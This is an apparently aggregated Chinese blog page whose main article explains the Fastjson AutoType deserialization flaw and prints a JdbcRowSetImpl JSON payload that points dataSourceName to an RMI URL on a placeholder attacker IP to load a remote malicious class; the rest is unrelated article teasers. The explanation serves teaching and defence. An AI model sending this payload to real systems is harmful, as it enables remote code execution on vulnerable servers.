当前位置： 首页 > news >正文

fastjson漏洞

news 来源：原创 2025/8/27 4:11:56

fastjson漏洞

  • fastjson工作原理
  • 攻击原理
    • 补充
  • 例子

fastjson工作原理

fastjson的作用是将JAVA对象转换成对应的json表示形式，也可以反过来将json转化为对应的Java对象。fastjson使用AutoType功能进行反序列化，AutoType使用==@type==标记字符的原始类型，在反序列话时会读取@type以此把内容反序列化到对象，在上述过程中会调用到库中的setter和getter方法

攻击原理

攻击者传入一个恶意构造的json内容，程序对其反序列话后得到恶意类并执行了恶意类中的恶意函数，进而促使恶意代码执行
合理构造一个JSON使用@type指定一个想要攻击的类库就可以实现攻击

补充

仅影响Fastjson1.2.24及之前版本

例子


{"b": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://攻击者的IP地址/恶意类","autoCommit": true}
  • JSON 数据包：这里展示的 JSON 数据包包含一个名为 b 的对象，其中有一个 @type 字段，指定了这个对象的类型为
    com.sun.rowset.JdbcRowSetImpl。这是一种 Java 对象类型。
  • 恶意数据：在 dataSourceName 字段中，提供了一个远程方法调用 (RMI) 的 URL，指向攻击者的 IP
    地址和他们控制的恶意类。这意味着 Fastjson 会尝试从这个远程地址加载并执行恶意类。
  • 自动提交：autoCommit 字段被设置为 true，表明在反序列化后自动执行某些操作。

相关文章：

fastjson漏洞

fastjson漏洞 fastjson工作原理攻击原理补充 例子 fastjson工作原理 fastjson的作用是将JAVA对象转换成对应的json表示形式，也可以反过来将json转化为对应的Java对象。fastjson使用AutoType功能进行反序列化，AutoType使用type标记字符的原始类型&#x…...

编程日记 2025/8/27 4:11:56

【YOLOv12改进trick】医学图像分割网络CMUNeXt引入YOLOv12中，增强全局上下文信息实现涨点，含创新点Python代码，方便发论文

🍋改进模块🍋：医学全卷积U型网络（CMUNeXtBlock） 🍋解决问题🍋：CMUNeXtBlock模块解决了在医学图像分割任务中，传统的卷积操作由于其局部性限制，难以有效提取全局上下文信息的问题。 🍋改进优势🍋：利用大卷积核和倒置瓶颈结构，提取全局上下文信息，同时保持卷…...

编程日记 2025/8/20 21:06:09

机器学习的半监督学习，弱监督学习，自监督学习

半监督学习、弱监督学习和自监督学习是机器学习中利用不同形式监督信号的三种方法，它们的核心区别在于标注数据的数量、质量以及监督信号的来源。以下是它们的详细对比： 1. 半监督学习（Semi-Supervised Learning） 核心特点&#x…...

编程日记 2025/8/27 4:10:46

K8S学习之基础十七：k8s的蓝绿部署

蓝绿部署概述 ​ 蓝绿部署中，一共有两套系统，一套是正在提供服务的系统，一套是准备发布的系统。两套系统都是功能完善、正在运行的系统，只是版本和对外服务情况不同。 ​ 开发新版本，要用新版本替换线上的旧版本&…...

编程日记 2025/8/26 13:59:02

【计算机网络】计算机网络的性能指标——时延、时延带宽积、往返时延、信道利用率

计算机网络的性能指标 导读 大家好，很高兴又和大家见面啦！！！ 在上一篇内容中我们介绍了计算机网络的三个性能指标——速率、带宽和吞吐量。用大白话来说就是：网速、最高网速和实时网速。 相信大家看到这三个词应该就…...

编程日记 2025/8/23 4:09:11

单片机如何用C语言重写vfprintf

在单片机中，标准库函数 vfprintf 可能不可用或占用过多资源（如内存或代码空间），因此我们可以通过自定义实现一个轻量级的 vfprintf 函数，专门用于单片机的串口输出。以下是一个用 C 语言重写 vfprintf 的示例&#xff…...

编程日记 2025/8/25 0:47:31

1.4 单元测试与热部署

本次实战实现Spring Boot的单元测试与热部署功能。单元测试方面，通过JUnit和Mockito等工具，结合SpringBootTest注解，可以模拟真实环境对应用组件进行独立测试，验证逻辑正确性，提升代码质量。具体演示了HelloWorld01和H…...

编程日记 2025/8/26 12:18:26

使用免费IP数据库离线查询IP归属地

一、准备工作 1.下载免费IP数据库 首先，访问 MaxMind官网（https://www.maxmind.com/en/home）如果你还没有MaxMind账号，可以通过此链接地址（https://www.maxmind.com/en/geolite2/signup）进行账号注册&…...

编程日记 2025/8/23 7:41:24

go语言数据类型

一.Go 语言有四大显著特点：高效性：编译与运行效率高。并发性：原生支持并发编程。简洁性：编程风格简洁直接，代码可读性与可维护性高。跨平台性：程序能在 Windows、Linux、Mac OS 等多系统运行。二.go的包:pa…...

编程日记 2025/8/21 18:25:25

操作系统 1.3-开机页面的产生

问题引入 从打开电源开始.. 这神秘的黑色背后发生着什么?... 设计思路 伟大的数学家图灵，设计了这样的一个模型： 首先我们计算机有一个控制器，他可以处理一系列提供给他的动作。我们将控制器动作，控制器状态，数据…...

编程日记 2025/8/23 15:30:33

单例模式：确保一个类只有一个实例

目录 引言 1. 单例模式的核心思想 2. 单例模式的实现方式 2.1 饿汉式单例 2.2 懒汉式单例 2.3 线程安全的懒汉式单例 2.4 双重检查锁定（Double-Checked Locking） 2.5 静态内部类实现单例 2.6 枚举实现单例 3. 单例模式的使用场景 4. 单例模式…...

编程日记 2025/8/25 9:22:56

Ubuntu 下 nginx-1.24.0 源码分析 - ngx_modules

定义在 objs\ngx_modules.c #include <ngx_config.h> #include <ngx_core.h>extern ngx_module_t ngx_core_module; extern ngx_module_t ngx_errlog_module; extern ngx_module_t ngx_conf_module; extern ngx_module_t ngx_openssl_module; extern ngx_modul…...

编程日记 2025/8/24 9:21:50

vue3中 组合式~测试深入组件：事件 与 $emit()—setup() 上下文对象ctx.emit

一、语法(props) 第一步&#xff1a;在组件模板表达式中&#xff0c;可以直接用$emit()方法触发自定义事件&#xff0c; <!-- MyComponent --> <button click"$emit(someEvent)">Click Me</button> 第二步父组件可以通过 v-on (缩写为 ) 来监听…...

编程日记 2025/8/26 9:50:01

uniapp小程序对接腾讯IM即时通讯无ui集成（1）

首先需要完成一些准备工作。 1.注册腾讯云账号 腾讯云 注册账号后搜索im即时通讯&#xff0c;新创建一个应用。 2.uniapp创建项目 腾讯云无ui集成文档 按照文档步骤下载完这两个包后打开项目。有下图这两个包就算完成了开始工作。 3.APP目录进行引入和集成 <script…...

编程日记 2025/8/24 22:00:39

【YOLOv12改进trick】StarBlock引入YOLOv12，创新涨点优化，含创新点Python代码，方便发论文

🍋改进模块🍋：StarBlock 🍋解决问题🍋：采用StarBlock将输入数据映射到一个极高维的非线性特征空间,生成丰富的特征表示，使得模型在处理复杂数据时更加有效。 🍋改进优势🍋：简单粗暴的星型乘法涨点却很明显 🍋适用场景🍋：目标检测、语义分割、自然语言处理…...

编程日记 2025/8/20 1:39:28

机器学习之强化学习

引言 在人工智能的众多分支中&#xff0c;强化学习&#xff08;Reinforcement Learning, RL&#xff09; 因其独特的学习范式而备受关注。与依赖标注数据的监督学习或探索数据结构的无监督学习不同&#xff0c;强化学习的核心是智能体&#xff08;Agent&#xff09;通过与环境…...

编程日记 2025/8/26 21:57:25

天津大学02-深度解读DeepSeek：部署、使用、安全【文末附下载链接】

大模型风险与不当用例——价值观错位 大模型与人类价值观、期望之间的不一致而导致的安全问题&#xff0c;包含&#xff1a;• 社会偏见&#xff08;Social Bias&#xff09;LLM在生成文本时强化对特定社会群体的刻板印象&#xff0c;例如将穆斯林与恐怖主义关联&#xff0c;或…...

编程日记 2025/8/22 19:10:14

C# OPC DA获取DCS数据（提前配置DCOM）

OPC DA配置操作手册 配置完成后&#xff0c;访问远程ip&#xff0c;就能获取到服务 C#使用Interop.OPCAutomation采集OPC DA数据&#xff0c;支持订阅&#xff08;数据变化&#xff09;、单个读取、单个写入、断线重连...

编程日记 2025/8/16 10:16:13

ReAct论文阅读笔记总结

ReAct&#xff1a;Synergizing Reasoning and Acting in Language Models 背景 最近的研究结果暗示了在自主系统中结合语言推理与交互决策的可能性。 一方面&#xff0c;经过适当Prompt的大型语言模型&#xff08;LLMs&#xff09;已经展示了在算术、常识和符号推理任务中通…...

编程日记 2025/8/23 5:05:55

【计网】运输层

运输层 5.1 运输层概述5.2 运输层端口号、复用与分用5.3 UDP和TCP的区别5.4 TCP具体实现5.4.1 TCP的流量控制5.4.2 TCP的拥塞控制5.4.3 TCP超时重传时间的选择5.4.4 TCP可靠传输的实现5.4.5 TCP运输连接管理&#xff08;一&#xff09;TCP连接的建立&#xff08;三报文握手&…...

编程日记 2025/8/21 1:40:12

计算机毕业设计SpringBoot+Vue.js多媒体素材库系统(源码+文档+PPT+讲解)

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…...

编程日记 2025/8/26 19:30:29

MC9S12单片机的内存映射机制

地址空间 这是个16位的单片机。CPU的寻址空间最大为2^1664K。 这个64K是包括外设、RAM、EEPROM、和FLASH的。现在程序越来越大&#xff0c;64K的空间肯定是不够用的。因此&#xff0c;需要扩展。 扩展方法就是&#xff1a;分页。 把原来的64K空间&#xff0c;划分一块出来&a…...

编程日记 2025/8/27 3:58:40

鸿蒙HarmonyOS评论功能小demo

评论页面小demo 效果展示 1.拆解组件&#xff0c;分层搭建 我们将整个评论页面拆解为三个组件&#xff0c;分别是头部导航&#xff0c;评论项&#xff0c;回复三个部分&#xff0c;然后统一在index界面导入 2.头部导航界面搭建 Preview Component struct HmNavBar {// 属性&a…...

编程日记 2025/8/22 23:42:17

数据仓库为什么要分层

数据仓库分层架构是数据仓库设计中的一个重要概念&#xff0c;其主要目的是为了更好地组织和管理数据&#xff0c;提高数据仓库的可维护性、可扩展性和性能。分层架构将数据仓库划分为多个层次&#xff0c;每个层次都有其特定的职责和功能。以下是数据仓库分层的主要原因和好处…...

编程日记 2025/8/22 11:03:23

【powerjob】 powerjobserver注册服务IP错误

1、问题&#xff1a;powerjobserver 4.3.6 的服务器上有多个网卡对应多个ip,示例 eth0 :IP1 &#xff0c;docker0:IP2 和worker 进行通信时 正确的应该时IP1 但是注册显示获取的确实IP2,导致 worker 通过ip2和server通信&#xff0c;网络不通&#xff0c;注册不上 2、解决方案 …...

编程日记 2025/8/25 17:16:12

JCRQ1河马算法+四模型对比！HO-CNN-GRU-Attention系列四模型多变量时序预测

JCRQ1河马算法四模型对比&#xff01;HO-CNN-GRU-Attention系列四模型多变量时序预测 目录 JCRQ1河马算法四模型对比&#xff01;HO-CNN-GRU-Attention系列四模型多变量时序预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 基于HO-CNN-GRU-Attention、CNN-GRU-Attent…...

编程日记 2025/8/21 5:43:55

智能硬件如何和应用层app连接?

现在比较方便的是一键配置方式&#xff0c;主要是使用蓝牙、smartconfig、ZigBee和声波配置。 蓝牙配置&#xff1a;比如蓝牙耳机、蓝牙鼠标&#xff0c;只能支持点对点连接&#xff0c;且对设备和app距离要求严格。 ZigBee配置方式&#xff1a;无法直接接入网络&#xff0c;…...

编程日记 2025/8/21 2:54:07

深度学习系列78：使用langchain的api进行RAG

用起来很麻烦&#xff0c;看api的工夫都已经能自己写完代码了。但现在有些开源api用的是langchain的接口&#xff0c;还是了解一下。参考官方文档&#xff1a;https://www.langchain.com.cn/docs/how_to/ 1. LLM和langserve示例 以openai接口为例&#xff0c;可以看到分为3步…...

编程日记 2025/8/24 1:35:02

海思Hi3516DV300交叉编译opencv

OpenCV是一个开源的跨平台计算机视觉库&#xff0c;支持C、Python等多种语言&#xff0c;适用于图像处理、目标检测、机器学习等任务。其核心由C编写&#xff0c;高效轻量&#xff0c;提供实时视觉处理功能&#xff0c;广泛应用于工业自动化、医疗影像等领域。 1 环境准备 1…...

编程日记 2025/8/23 13:33:44

责任链模式：优雅处理复杂流程的设计艺术

引言 在软件设计中&#xff0c;我们经常会遇到需要按特定顺序处理请求的场景。例如&#xff0c;一个订单处理系统可能需要经过验证、付款、物流安排和客户通知等多个步骤。如果我们将这些步骤硬编码在一个方法中&#xff0c;代码将变得臃肿且难以维护。这时&#xff0c;责任链…...

编程日记 2025/8/23 23:59:41

【DeepSeek】5分钟快速实现本地化部署教程

一、快捷部署 &#xff08;1&#xff09;下载ds大模型安装助手&#xff0c;下载后直接点击快速安装即可。 https://file-cdn-deepseek.fanqiesoft.cn/deepseek/deepseek_28348_st.exe &#xff08;2&#xff09;打开软件&#xff0c;点击立即激活 &#xff08;3&#xff09;选…...

编程日记 2025/8/21 14:49:55

HTML前端手册

HTML前端手册 记录前端框架在使用过程中遇到的各种问题和解决方案&#xff0c;供后续快速进行手册翻阅使用 文章目录 HTML前端手册1-前端框架1-TypeScript框架2-CSS框架 2-前端Demo1-Html常用代码 2-知云接力3-Live2D平面动画 3-前端运维1-NPM版本管理 1-前端框架 1-TypeScrip…...

编程日记 2025/8/21 23:02:08

【uniapp】图片添加canvas水印

目录 需求&背景实现地理位置添加水印 ios补充 需求&背景 需求&#xff1a;拍照后给图片添加水印, 水印包含经纬度、用户信息、公司logo等信息。 效果图&#xff1a; 方案&#xff1a;使用canvas添加水印。 具体实现&#xff1a;上传图片组件是项目里现有的&#xff…...

编程日记 2025/8/24 5:18:54

Java 大视界 -- Java 大数据在智能金融反欺诈中的技术实现与案例分析（114）

&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎来到 青云交的博客&#xff01;能与诸位在此相逢&#xff0c;我倍感荣幸。在这飞速更迭的时代&#xff0c;我们都渴望一方心灵净土&#xff0c;而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识&#xff0c;也…...

编程日记 2025/8/23 11:29:25

机器学习数学基础：43.外生变量与内生变量

外生变量与内生变量&#xff1a;模型中的因果角色 在因果模型&#xff08;像结构方程模型、回归分析这类&#xff09;里&#xff0c;外生变量和内生变量是用来区分变量来源和相互关系的重要概念。下面从定义、实例、差异以及应用场景四个方面来详细介绍&#xff1a; 一、定义…...

编程日记 2025/8/26 14:56:19

Bean 的生命周期主要包括以下阶段：

Bean 的生命周期主要包括以下阶段&#xff1a; 定义 &#xff1a;在配置文件或注解中定义 Bean&#xff0c;包括其类、作用域等信息。 实例化 &#xff1a;Spring 容器根据定义创建 Bean 的实例。 属性赋值 &#xff1a;容器为 Bean 设置配置的属性值。 初始化 &#xff1a;…...

编程日记 2025/8/16 12:28:12

Unity游戏开发中的网格简化与LOD技术(Mesh Simplification LOD)

在Unity游戏开发中&#xff0c;网格简化&#xff08;Mesh Simplification&#xff09;和LOD&#xff08;Level of Detail&#xff09;技术是优化渲染性能的关键手段&#xff0c;尤其在处理复杂场景和高精度模型时至关重要。以下是一套系统的实现方案与优化策略&#xff1a; 一、…...

编程日记 2025/8/25 21:17:10

3.7[Q]CV

对于一个由cmake构建的项目&#xff0c;什么时候应该执行cmake指令&#xff1f;什么时候执行make指令&#xff1f;即&#xff0c;一个cmake构建的项目&#xff0c;各步骤的意义是什么&#xff1f;当我修改了部分代码后&#xff0c;重启项目该执行什么命令&#xff1f; view,mod…...

编程日记 2025/8/21 5:02:38

发行思考：全球热销榜的频繁变动

几点杂感&#xff1a; 1、单机游戏销量与在线人数的衰退是剧烈的&#xff0c;有明显的周期性&#xff0c;而在线游戏则稳定很多。 如去年的某明星游戏&#xff0c;最高200多万在线&#xff0c;如今在线人数是48名&#xff0c;3万多。 而近期热门的是MH&#xff0c;在线人数8…...

编程日记 2025/8/23 21:01:47

Springboot全局LocalDateTime时间格式化配置

我们对字段的日期格式化时一般会用注解: JsonFormat(pattern "yyyy-MM-dd HH:mm:ss", timezone "GMT8")private Date createDate;但是每个字段都要写也太麻烦了 不是我的全局化作风 在application.yml中配置全局时间格式化只会对Date类型有用: jackson:d…...

编程日记 2025/8/23 12:33:05

Redis主从复制

目录 点单问题 启动多个redis服务器 配置主从结构 查看主从结构信息 断开主从结构 修改主从结构 主从复制的拓扑结构 主从复制的基本流程 全量复制和部分复制 全量复制的流程 部分复制的流程 实时复制的流程 主从复制总结 主从复制是基于分布式系统进行讨论的&am…...

编程日记 2025/8/22 22:43:11

玩转python：掌握Python数据结构之栈Stack

栈&#xff08;Stack&#xff09;是计算机科学中一种非常基础且重要的数据结构。它的特点是后进先出&#xff08;LIFO&#xff0c;Last In First Out&#xff09;&#xff0c;就像我们生活中叠盘子一样&#xff0c;最后放上去的盘子总是最先被拿走。本文将用通俗易懂的语言和丰…...

编程日记 2025/8/23 20:39:40

电脑如何拦截端口号，实现阻断访问？

如果你弟弟喜欢玩游戏&#xff0c;你可以查询该应用占用的端口&#xff0c;结合以下方法即可阻断端口号&#xff0c;让弟弟好好学习&#xff0c;天天向上&#xff01; 拦截端口可以通过防火墙和路由器进行拦截 &#xff0c;以下是常用方法&#xff1a; 方法 1&#xff1a;使用…...

编程日记 2025/8/26 19:40:46

DeepSeek 医疗大模型微调实战讨论版（第一部分）

DeepSeek医疗大模型微调实战指南第一部分 DeepSeek 作为一款具有独特优势的大模型，在医疗领域展现出了巨大的应用潜力。它采用了先进的混合专家架构（MoE），能够根据输入数据的特性选择性激活部分专家，避免了不必要的计算，极大地提高了计算效率和模型精度 。这种架构使得 …...

编程日记 2025/8/21 14:48:14

Apache Httpd 多后缀解析

目录 1.原因 2.环境 3.复现 4.防御 1.Apache Httpd 多后缀解析原因 Apache HTTP Server 在处理文件请求时&#xff0c;通常会根据文件的后缀来确定如何处理该文件。例如&#xff0c;.php文件会被交给 PHP 解释器处理&#xff0c;而.html文件则直接作为静态文件返回。 然而…...

编程日记 2025/8/24 2:11:09

2025年03月07日Github流行趋势

项目名称&#xff1a;ai-hedge-fund 项目地址url&#xff1a;https://github.com/virattt/ai-hedge-fund项目语言&#xff1a;Python历史star数&#xff1a;12788今日star数&#xff1a;975项目维护者&#xff1a;virattt, seungwonme, KittatamSaisaard, andorsk, arsaboo项目…...

编程日记 2025/8/19 5:43:17

Jenkins在Windows上的使用（二）：自动拉取、打包、部署

&#xff08;一&#xff09;Jenkins全局配置 访问部署好的Jenkins服务器网址localhost:8080&#xff0c;完成默认插件的安装后&#xff0c;接下来将使用SSH登录远程主机以实现自动化部署。 1. 配置插件 选择dashboard->Manage Jenkins->plugins 安装下面两个插件　　…...

编程日记 2025/8/21 2:37:43

【JavaEE】-- 多线程（初阶）4

文章目录 8.多线程案例8.1 单例模式8.1.1 饿汉模式8.1.2 懒汉模式 8.2 阻塞队列8.2.1 什么是阻塞队列8.2.2 生产者消费者模型8.2.3 标准库中的阻塞队列8.2.4 阻塞队列的应用场景8.2.4.1 消息队列 8.2.5 异步操作8.2.5 自定义实现阻塞队列8.2.6 阻塞队列--生产者消费者模型 8.3 …...

编程日记 2025/8/20 8:58:55

测试直播postman+Jenkins所学

接口自动化 什么是接口&#xff1f;本质上就是一个url&#xff0c;用于提供数据。后台程序提供一种数据地址&#xff0c;接口的数据一般是从数据库中查出来的。 postman自动化实操&#xff1a; 一般来说公司会给接口文档&#xff0c;如果没有&#xff0c;通过拦截&#xff0c…...

编程日记 2025/8/19 22:47:28

5人3小时复刻Manus？开源OpenManus项目全解剖，我的DeepSeek股票报告这样诞生

大家好，我是大 F，深耕AI算法十余年，互联网大厂技术岗。分享AI算法干货、技术心得。 更多文章可关注《大模型理论和实战》、《DeepSeek技术解析和实战》，一起探索技术的无限可能！ OpenManus是什么 1. 项目背景 OpenManus 是由 MetaGPT 核心团队仅用 3 小时复刻而成的开源…...

编程日记 2025/8/22 14:06:32